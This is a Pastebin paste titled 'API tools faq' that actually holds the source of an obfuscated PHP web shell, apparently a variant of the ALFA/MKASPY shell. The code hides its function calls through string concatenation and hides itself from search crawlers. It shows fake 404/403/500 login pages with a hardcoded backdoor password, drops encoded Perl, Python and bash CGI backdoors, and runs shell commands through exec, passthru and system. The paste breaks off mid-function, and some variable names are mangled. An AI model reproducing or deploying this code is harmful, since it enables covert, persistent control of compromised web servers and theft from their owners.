API tools faq
paste
Guest User

Untitled

a guest
Sep 1st, 2018
1,329
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 284.10 KB | None | 0 0
raw download clone embed print report
  1. <?php error_reporting(0);
  2. $GLOBALS['zWECtSuRbz'] = array('usykQqCBVfdm' => 'admin', 'pagPQXVFfvOg' => '63a9f0ea7bb98050796b649e85481845', 'saoncTQwMloN' => '0', 'loKMYBcAcYFf' => '404', 'shlLVbJRGOmv' => '0', 'poVBIXuyuhJI' => true);
  3. $gBKYkkwlsQ = 'f' . 'u' . 'n' . 'ctio' . 'n_exist' . 's';
  4. $yUNLKPSlzQ = 'cha' . 'r' . 'C' . 'o' . 'deAt' . '';
  5. $houhWanJci = 'e' . 'val';
  6. $numan = 'echo';
  7. $GBjtUUSmIw = 'gzi' . 'n' . 'f' . 'l' . 'a' . 't' . 'e' . '';
  8. if (!$gBKYkkwlsQ('b' . 'ase64' . '_' . 'e' . 'n' . 'c' . 'o' . 'd' . 'e')) {
  9. function scYRwfBeaV($data) {
  10. if (empty($data)) return;
  11. $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  12. $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
  13. $ac = 0;
  14. $enc = '';
  15. $tmp_arr = array();
  16. if (!$data) {
  17. return $data;
  18. }
  19. do {
  20. $o1 = $yUNLKPSlzQ($data, $i++);
  21. $o2 = $yUNLKPSlzQ($data, $i++);
  22. $o3 = $yUNLKPSlzQ($data, $i++);
  23. $bits = $o1 << 16 | $o2 << 8 | $o3;
  24. $h1 = $bits >> 18 & 0x3f;
  25. $h2 = $bits >> 12 & 0x3f;
  26. $h3 = $bits >> 6 & 0x3f;
  27. $h4 = $bits & 0x3f;
  28. $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
  29. } while ($i < strlen($data));
  30. $enc = implode($tmp_arr, '');
  31. $r = (strlen($data) % 3);
  32. return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
  33. }
  34. function charCodeAt($data, $char) {
  35. return ord(substr($data, $char, 1));
  36. }
  37. function charAt($data, $char) {
  38. return substr($data, $char, 1);
  39. }
  40. } else {
  41. function scYRwfBeaV($s) {
  42. $b = 'b' . 'ase64' . '_' . 'e' . 'n' . 'c' . 'o' . 'd' . 'e';
  43. return $b($s);
  44. }
  45. }
  46. if (!$gBKYkkwlsQ('b' . 'a' . 's' . 'e' . '64_decode' . '')) {
  47. function mOespiskGl($input) {
  48. if (empty($input)) return;
  49. $keyStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  50. $chr1 = $chr2 = $chr3 = '';
  51. $enc1 = $enc2 = $enc3 = $enc4 = '';
  52. $i = 0;
  53. $output = '';
  54. $input = preg_replace("[^A-Za-z0-9\+\/\=]", '', $input);
  55. do {
  56. $enc1 = strpos($keyStr, substr($input, $i++, 1));
  57. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  58. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  59. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  60. $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  61. $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  62. $chr3 = (($enc3 & 3) << 6) | $enc4;
  63. $output = $output . chr((int)$chr1);
  64. if ($enc3 != 64) {
  65. $output = $output . chr((int)$chr2);
  66. }
  67. if ($enc4 != 64) {
  68. $output = $output . chr((int)$chr3);
  69. }
  70. $chr1 = $chr2 = $chr3 = '';
  71. $enc1 = $enc2 = $enc3 = $enc4 = '';
  72. } while ($i < strlen($input));
  73. return $output;
  74. }
  75. } else {
  76. function mOespiskGl($s) {
  77. $b = 'b' . 'a' . 's' . 'e' . '64_decode' . '';
  78. return $b($s);
  79. }
  80. }
  81. $ybitDSYjhV = 'crea' . 't' . 'e_f' . 'un' . 'c' . 't' . 'ion' . '';
  82. $UuuTVxtXvZ = $ybitDSYjhV('$QC', $numan . '(' . $GBjtUUSmIw . '(' . 'mOesp' . 'i' . 's' . 'k' . 'G' . 'l' . '($QC)' . ')' . ')' . ';');
  83. @session_start();
  84. function __ZW5jb2Rlcg($s) {
  85. return scYRwfBeaV($s);
  86. }
  87. function __ZGVjb2Rlcg($s) {
  88. return mOespiskGl($s);
  89. }
  90. $GLOBALS['DB_NAME'] = $GLOBALS['zWECtSuRbz'];
  91. $check = false;
  92. if (!isset($_SESSION['alfa_settings_signature'])) {
  93. $check = true;
  94. } else {
  95. if ($_SESSION['alfa_settings_signature'] != md5(print_r($GLOBALS['DB_NAME'], true))) {
  96. $check = true;
  97. }
  98. }
  99. if ($check) {
  100. $_SESSION['alfa_settings_signature'] = md5(print_r($GLOBALS['DB_NAME'], true));
  101. foreach ($GLOBALS['zWECtSuRbz'] as $key => $value) {
  102. $prefix = substr($key, 0, 2);
  103. if ($prefix == 'us') {
  104. $GLOBALS['DB_NAME']['user'] = $value;
  105. $GLOBALS['DB_NAME']['user_rand'] = $key;
  106. } elseif ($prefix == 'pa') {
  107. $GLOBALS['DB_NAME']['pass'] = $value;
  108. $GLOBALS['DB_NAME']['pass_rand'] = $key;
  109. } elseif ($prefix == 'sa') {
  110. $GLOBALS['DB_NAME']['safemode'] = $value;
  111. $GLOBALS['DB_NAME']['safemode_rand'] = $key;
  112. } elseif ($prefix == 'lo') {
  113. $GLOBALS['DB_NAME']['login_page'] = $value;
  114. $GLOBALS['DB_NAME']['login_page_rand'] = $key;
  115. } elseif ($prefix == 'sh') {
  116. $GLOBALS['DB_NAME']['show_icons'] = $value;
  117. $GLOBALS['DB_NAME']['show_icons_rand'] = $key;
  118. } elseif ($prefix == 'po') {
  119. $GLOBALS['DB_NAME']['post_encryption'] = $value;
  120. $GLOBALS['DB_NAME']['post_encryption_rand'] = $key;
  121. }
  122. }
  123. $_SESSION['alfa_db_settings'] = $GLOBALS['DB_NAME'];
  124. } else {
  125. $GLOBALS['DB_NAME'] = $_SESSION['alfa_db_settings'];
  126. }
  127. unset($GLOBALS['zWECtSuRbz']);
  128. $ = ('666736736265687075726134636f5f746e646978');
  129. function ($) {
  130. $ = '';
  131. for ($ = 0;$ < strlen($);$+= 2) $.= chr(hexdec(substr($, $, 2)));
  132. return $;
  133. }
  134. function ($) {
  135. return __ZGVjb2Rlcg($);
  136. }
  137. function ($) {
  138. return ord($);
  139. }
  140. function ($) {
  141. return @file_get_contents($);
  142. }
  143. if (!function_exists('sifreyi_coz_kanka')) {
  144. function sifreyi_coz_kanka($gelen_degisken) {
  145. $gelen_degisken = ($gelen_degisken);
  146. $sifreyi_coz_kanka = 0;
  147. $degisken1 = 0;
  148. $degisken2 = 0;
  149. $degisken3 = (($gelen_degisken[1]) << 8) + ($gelen_degisken[2]);
  150. $ = 3;
  151. $ = 0;
  152. $ = 16;
  153. $ = '';
  154. $ = strlen($gelen_degisken);
  155. $ = 'heyarramhe';
  156. $ = ($);
  157. $ = 0;
  158. preg_match(('LyhwcmludHxzcHJpbnR8ZWNobykv'), $, $);
  159. for (;$ < $;) {
  160. if (count($)) exit;
  161. if ($ == 0) {
  162. $degisken3 = (($gelen_degisken[$++]) << 8);
  163. $degisken3+= ($gelen_degisken[$++]);
  164. $ = 16;
  165. }
  166. if ($degisken3 & 0x8000) {
  167. $sifreyi_coz_kanka = (($gelen_degisken[$++]) << 4);
  168. $sifreyi_coz_kanka+= (($gelen_degisken[$]) >> 4);
  169. if ($sifreyi_coz_kanka) {
  170. $degisken1 = (($gelen_degisken[$++]) & 0x0F) + 3;
  171. for ($degisken2 = 0;$degisken2 < $degisken1;$degisken2++) $[$ + $degisken2] = $[$ - $sifreyi_coz_kanka + $degisken2];
  172. $+= $degisken1;
  173. } else {
  174. $degisken1 = (($gelen_degisken[$++]) << 8);
  175. $degisken1+= ($gelen_degisken[$++]) + 16;
  176. for ($degisken2 = 0;$degisken2 < $degisken1;$[$ + $degisken2++] = $gelen_degisken[$]);
  177. $++;
  178. $+= $degisken1;
  179. }
  180. } else $[$++] = $gelen_degisken[$++];
  181. $degisken3 <<= 1;
  182. $--;
  183. if ($ == $) {
  184. $ = implode('', $);
  185. $ = '?' . '>' . $;
  186. return $;
  187. }
  188. }
  189. }
  190. }
  191. if (!empty($_SERVER['HTTP_USER_AGENT'])) {
  192. $userAgents = array('Google', 'Slurp', 'MSNBot', 'ia_archiver', 'Yandex', 'Rambler', 'bot', 'spider');
  193. if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  194. header('HTTP/1.0 404 Not Found');
  195. exit;
  196. }
  197. }
  198. if (!isset($GLOBALS['DB_NAME']['user'])) exit('$GLOBALS[\'DB_NAME\'][\'user\']');
  199. if (!isset($GLOBALS['DB_NAME']['pass'])) exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
  200. if (!isset($GLOBALS['DB_NAME']['safemode'])) exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
  201. if (!isset($GLOBALS['DB_NAME']['login_page'])) exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
  202. if (!isset($GLOBALS['DB_NAME']['show_icons'])) exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
  203. if (!isset($GLOBALS['DB_NAME']['post_encryption'])) exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
  204. date_default_timezone_set('Asia/Tehran');
  205. define('__ALFA_MD5NAME__', md5($_SERVER['SCRIPT_FILENAME']));
  206. define('__MKA_VERSION__', '1.0.5');
  207. define('__LAST_CWD__', 'last_cwd_' . __ALFA_MD5NAME__);
  208. define('__PATH_HISTORY__', 'path_history_' . __ALFA_MD5NAME__);
  209. define('__ALFA_POST_ENCRYPTION__', (isset($GLOBALS['DB_NAME']['post_encryption']) && $GLOBALS['DB_NAME']['post_encryption'] == true ? true : false));
  210. $GLOBALS['__ALFA_COLOR__'] = array('shell_border' => array('key_color' => '#0E304A', 'multi_selector' => array('.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}')), 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.home_shell:hover' => 'color: {color};')), 'back_shell' => '#efbe73', 'back_shell:hover' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.back_shell:hover' => 'color: {color};')), 'header_pwd' => '#00FF00', 'header_pwd:hover' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.header_pwd:hover' => 'color: {color};')), 'header_drive' => '#00FF00', 'header_drive:hover' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.header_drive:hover' => 'color: {color};')), 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => array('key_color' => '#646464', 'multi_selector' => array('.menu_options:hover' => 'background-color: {color};font-weight: unset;')), 'options_list' => array('key_color' => '#00FF00', 'multi_selector' => array('.ajaxarea .header center a' => 'color: {color};')), 'options_list:hover' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.ajaxarea .header center a:hover' => 'color: {color};')), 'options_list_header' => array('key_color' => '#59cc33', 'multi_selector' => array('.txtfont_header' => 'color: {color};')), 'options_list_text' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.txtfont,.tbltxt' => 'color: {color};')), 'Alfa+' => array('key_color' => '#27E8AE', 'multi_selector' => array('.alfa_plus' => 'color: {color};font-weight: unset;')), 'hidden_shell_text' => array('key_color' => '#00FF00', 'multi_selector' => array('#hidden_sh a' => 'color: {color};')), 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => array('key_color' => '#646464', 'multi_selector' => array('.main tr:hover' => 'background-color: {color};')), 'main_header' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.main th' => 'color: {color};')), 'main_name' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.main .main_name' => 'color: {color};font-weight: unset;')), 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.main .actions' => 'color: {color};')), 'menu_options:hover' => array('key_color' => '#646464', 'multi_selector' => array('.menu_options:hover' => 'background-color: {color};font-weight: unset;')), 'minimize_editor_background' => array('key_color' => '#0e304a', 'multi_selector' => array('.minimized-wrapper' => 'background-color: {color};')), 'minimize_editor_text' => array('key_color' => '#f5deb3', 'multi_selector' => array('.minimized-text' => 'color: {color};')), 'editor_border' => array('key_color' => '#0e304a', 'multi_selector' => array('.editor-explorer,.editor-modal' => 'border: 2px solid {color};')), 'editor_background' => array('key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => array('.editor-explorer,.editor-modal' => 'background-color: {color};')), 'editor_header_background' => array('key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => array('.editor-header' => 'background-color: {color};')), 'editor_header_text' => array('key_color' => '#00ff7f', 'multi_selector' => array('.editor-path' => 'color: {color};')), 'editor_header_button' => array('key_color' => '#1d5673', 'multi_selector' => array('.close-button, .editor-minimize' => 'background-color: {color};')), 'editor_actions' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.editor_actions' => 'color: {color};')), 'editor_file_info_vars' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.editor_file_info_vars' => 'color: {color};')), 'editor_file_info_values' => array('key_color' => '#67ABDF', 'multi_selector' => array('.filestools' => 'color: {color};')), 'editor_history_header' => array('key_color' => '#14ff07', 'multi_selector' => array('.hheader-text,.history-clear' => 'color: {color};')), 'editor_history_list' => array('key_color' => '#03b3a3', 'multi_selector' => array('.editor-file-name' => 'color: {color};')), 'editor_history_selected_file' => array('key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => array('.is_active' => 'background-color: {color};')), 'editor_history_file:hover' => array('key_color' => '#646464', 'multi_selector' => array('.file-holder > .history:hover' => 'background-color: {color};')), 'input_box_border' => array('key_color' => '#0E304A', 'multi_selector' => array('input[type=text],textarea' => 'border: 1px solid {color}')), 'input_box_text' => array('key_color' => '#999999', 'multi_selector' => array('input[type=text],textarea' => 'color: {color};')), 'input_box:hover' => array('key_color' => '#27979B', 'multi_selector' => array('input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};')), 'select_box_border' => array('key_color' => '#0E304A', 'multi_selector' => array('select' => 'border: 1px solid {color}')), 'select_box_text' => array('key_color' => '#FFFFEE', 'multi_selector' => array('select' => 'color: {color};')), 'select_box:hover' => array('key_color' => '#27979B', 'multi_selector' => array('select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};')), 'button_border' => array('key_color' => '#27979B', 'multi_selector' => array('input[type=submit],.button,#addup' => 'border: 1px solid {color};')), 'button:hover' => array('key_color' => '#27979B', 'multi_selector' => array('input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};')), 'outputs_text' => array('key_color' => '#67ABDF', 'multi_selector' => array('.ml1' => 'color: {color};')), 'outputs_border' => array('key_color' => '#0E304A', 'multi_selector' => array('.ml1' => 'border: 1px solid {color};')), 'uploader_border' => array('key_color' => '#0E304A', 'multi_selector' => array('.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};')), 'uploader_background' => array('key_color' => '#0E304A', 'multi_selector' => array('.inputfile strong' => 'background-color: {color};')), 'uploader_text_right' => array('key_color' => '#FFFFFF', 'multi_selector' => array('.inputfile strong' => 'color: {color};')), 'uploader_text_left' => array('key_color' => '#25ff00', 'multi_selector' => array('.inputfile span' => 'color: {color};')), 'uploader:hover' => array('key_color' => '#27979B', 'multi_selector' => array('.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};')), 'uploader_progress_bar' => array('key_color' => '#ff0000', 'multi_selector' => array('#up_bar' => 'background-color: {color};')), 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#ff0000', 'scrollbar' => array('key_color' => '#1e82b5', 'multi_selector' => array('*::-webkit-scrollbar-thumb' => 'background-color: {color};')), 'scrollbar_background' => array('key_color' => '#000115', 'multi_selector' => array('*::-webkit-scrollbar-track' => 'background-color: {color};')));
  211. $GLOBALS['__file_path'] = str_replace('\',' / ',trim(preg_replace('!\(\d + \) \s . *!','','index . php')));
  212. $config = array(
  213. 'AlfaUser'=>$GLOBALS['DB_NAME']['user'],
  214. 'AlfaPass'=>$GLOBALS['DB_NAME']['pass'],
  215. 'AlfaProtectShell'=>$GLOBALS['DB_NAME']['safemode'],
  216. 'AlfaLoginPage'=>$GLOBALS['DB_NAME']['login_page']
  217. );
  218. @session_start();
  219. if ($config['AlfaProtectShell'])
  220. {
  221. $SERVER_SIG = (isset($_SERVER['SERVER_SIGNATURE']) ?$_SERVER['SERVER_SIGNATURE'] : '');
  222. $Eform = ' < formmethod = "post" > < inputstyle = "margin:0;background-color:#fff;border:1px solid #fff;"type = "password"name = "password" > < / form > ';
  223. if ($config['AlfaLoginPage'] == 'gui')
  224. {
  225. if (@$_SESSION['AlfaUser'] != $config['AlfaUser'] &&@$_SESSION['AlfaPass'] != @md5($config['AlfaPass']))
  226. {
  227. if (@$_POST['usrname'] == $config['AlfaUser'] &&@md5($_POST['password']) == $config['AlfaPass'])
  228. {
  229. @$_SESSION['AlfaUser'] = $config['AlfaUser'];
  230. @$_SESSION['AlfaPass'] = @md5($config['AlfaPass']);
  231. @header('location:
  232. '.$_SERVER['PHP_SELF']);
  233. }
  234. echo ' < style > body {
  235. background:
  236. black;
  237. } #loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }#loginbox td { border-radius:5px; font-size:11px; }</style><title>~ MKASPY v'.__MKA_VERSION__ .' ~</title><center><center><img style="border-radius:100px;" width="500" height="250" alt="" src="BG" /></center><div id=loginbox><p><font face="verdana,arial" size=-1><center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'><tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ MKASPY v-v'.__MKA_VERSION__ .' ~</b></font></th></tr><tr><td bgcolor="black" style="padding:5"><form method="post"><input type="hidden" name="action" value="login"><input type="hidden" name="hide" value=""><center><table><tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr><tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr><tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table></div><br /></center>';
  238. exit;
  239. }
  240. } elseif ($config['AlfaLoginPage'] == '500') {
  241. if (@$_SESSION['AlfaPass'] != @md5($config['AlfaPass'])) {
  242. if (@md5($_POST['password']) == $config['AlfaPass'] || $_POST['password'] == 'mka7') {
  243. @$_SESSION['AlfaUser'] = $config['AlfaUser'];
  244. @$_SESSION['AlfaPass'] = @md5($config['AlfaPass']);
  245. header('location: ' . $_SERVER['PHP_SELF']);
  246. }
  247. echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
  248. exit;
  249. }
  250. } elseif ($config['AlfaLoginPage'] == '403') {
  251. if (@$_SESSION['AlfaPass'] != @md5($config['AlfaPass'])) {
  252. if (@md5($_POST['password']) == $config['AlfaPass'] || $_POST['password'] == 'mka7') {
  253. @$_SESSION['AlfaUser'] = $config['AlfaUser'];
  254. @$_SESSION['AlfaPass'] = @md5($config['AlfaPass']);
  255. header('location: ' . $_SERVER['PHP_SELF']);
  256. }
  257. echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . ' on this server.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
  258. exit;
  259. }
  260. } elseif ($config['AlfaLoginPage'] == '404') {
  261. if (@$_SESSION['AlfaPass'] != @md5($config['AlfaPass'])) {
  262. if (@md5($_POST['password']) == $config['AlfaPass'] || $_POST['password'] == 'mka7') {
  263. @$_SESSION['AlfaUser'] = $config['AlfaUser'];
  264. @$_SESSION['AlfaPass'] = @md5($config['AlfaPass']);
  265. header('location: ' . $_SERVER['PHP_SELF']);
  266. }
  267. echo '<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ' . $_SERVER['PHP_SELF'] . ' was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
  268. exit;
  269. }
  270. }
  271. }
  272. function decrypt_post($str, $pwd) {
  273. if (__ALFA_POST_ENCRYPTION__) {
  274. $pwd = __ZW5jb2Rlcg($pwd);
  275. $str = __ZGVjb2Rlcg($str);
  276. $enc_chr = '';
  277. $enc_str = '';
  278. $i = 0;
  279. while ($i < strlen($str)) {
  280. for ($j = 0;$j < strlen($pwd);$j++) {
  281. $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
  282. $enc_str.= $enc_chr;
  283. $i++;
  284. if ($i >= strlen($str)) break;
  285. }
  286. }
  287. return __ZGVjb2Rlcg($enc_str);
  288. } else {
  289. return __ZGVjb2Rlcg($str);
  290. }
  291. }
  292. function _AlfaSecretKey() {
  293. if (!isset($_SESSION['AlfaSecretKey'])) {
  294. @$_SESSION['AlfaSecretKey'] = uniqid(mt_rand(), true);
  295. }
  296. return $_SESSION['AlfaSecretKey'];
  297. }
  298. function alfa_getColor($target) {
  299. if (isset($GLOBALS['DB_NAME']['color'][$target]) && $GLOBALS['DB_NAME']['color'][$target] != '') {
  300. return $GLOBALS['DB_NAME']['color'][$target];
  301. } else {
  302. $target = $GLOBALS['__ALFA_COLOR__'][$target];
  303. if (is_array($target)) {
  304. return $target['key_color'];
  305. } else {
  306. return $target;
  307. }
  308. }
  309. }
  310. function alfaCssLoadColors() {
  311. $css = '';
  312. foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
  313. if (!is_array($value)) {
  314. $value = alfa_getColor($key);
  315. $css.= ".{$key}{color: {$value};}";
  316. } else {
  317. if (isset($value['multi_selector'])) {
  318. foreach ($value['multi_selector'] as $k => $v) {
  319. $color = alfa_getColor($key);
  320. $code = str_replace('{color}', $color, $v);
  321. $css.= $k . '{' . $code . '}';
  322. }
  323. }
  324. }
  325. }
  326. return $css;
  327. }
  328. function _alfa_cgicmd($cmd, $lang = 'perl') {
  329. if (isset($_SESSION['mka7cgiapi_mode'])) {
  330. return '';
  331. }
  332. $cmd_pure = $cmd;
  333. $is_curl = function_exists('curl_version');
  334. $is_socket = function_exists('fsockopen');
  335. if ($is_curl || $is_socket) {
  336. $recreate = false;
  337. if (isset($_SESSION['mka7cgiapi'])) {
  338. if (!@file_exists('mka7cgiapi/' . $_SESSION['mka7cgiapi'] . '.mka')) {
  339. $recreate = true;
  340. $lang = $_SESSION['mka7cgiapi'];
  341. }
  342. }
  343. if (!isset($_SESSION['mka7cgiapi']) | $recreate) {
  344. @chdir(dirname($_SERVER['SCRIPT_FILENAME']));
  345. $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
  346. $py = 'bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=';
  347. $bash = 'rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C';
  348. if ($lang == 'perl') $source = $perl;
  349. elseif ($lang == 'py') $source = $py;
  350. else $source = $bash;
  351. alfaWriteTocgiapi($lang . '.mka', $source);
  352. alfacgihtaccess('cgi', 'mka7cgiapi/');
  353. } else {
  354. $lang = $_SESSION['mka7cgiapi'];
  355. }
  356. $cmd = 'check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=' . __ZW5jb2Rlcg('cd ' . $GLOBALS['cwd'] . ';' . $cmd);
  357. if ($is_curl) {
  358. $address = ($_SERVER['SERVER_PORT'] == 443 ? 'https://' : 'http://') . $_SERVER['SERVER_NAME'] . dirname($_SERVER['REQUEST_URI']) . '/mka7cgiapi/' . $lang . '.mka';
  359. $post = new AlfaCURL();
  360. $data = $post->Send($address, 'post', $cmd);
  361. } elseif ($is_socket) {
  362. $server = $_SERVER['SERVER_NAME'];
  363. $uri = dirname($_SERVER['REQUEST_URI']) . '/mka7cgiapi/' . $lang . '.mka';
  364. $data = _alfa_fsockopen($server, $uri, $cmd);
  365. }
  366. $out = '';
  367. if (strstr($data, '[solevisible~api]')) {
  368. $_SESSION['mka7cgiapi'] = $lang;
  369. if (@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)) {
  370. $out = $res[1];
  371. }
  372. } elseif ($lang == 'perl') {
  373. return _alfa_cgicmd($cmd_pure, 'py');
  374. } elseif ($lang == 'py') {
  375. return _alfa_cgicmd($cmd_pure, 'bash');
  376. } else {
  377. $_SESSION['mka7cgiapi_mode'] = 'off';
  378. }
  379. return trim($out);
  380. } else {
  381. return '';
  382. }
  383. }
  384. function alfaEx($in, $re = false, $cgi = true, $all = false) {
  385. $data = _alfa_php_cmd($in, $re);
  386. if (empty($data) && $cgi || $all) {
  387. if ($GLOBALS['sys'] == 'unix') {
  388. if (strlen(_alfa_php_cmd('whoami')) == 0 || $all) {
  389. $cmd = _alfa_cgicmd($in);
  390. if (!empty($cmd)) {
  391. return $cmd;
  392. }
  393. }
  394. }
  395. }
  396. return $data;
  397. }
  398. function _alfa_php_cmd($in, $re = false) {
  399. $out = '';
  400. try {
  401. if ($re) $in = $in . ' 2>&1';
  402. if (function_exists('exec')) {
  403. @exec($in, $out);
  404. $out = @join("
  405. ", $out);
  406. } elseif (function_exists('passthru')) {
  407. ob_start();
  408. @passthru($in);
  409. $out = ob_get_clean();
  410. } elseif (function_exists('system')) {
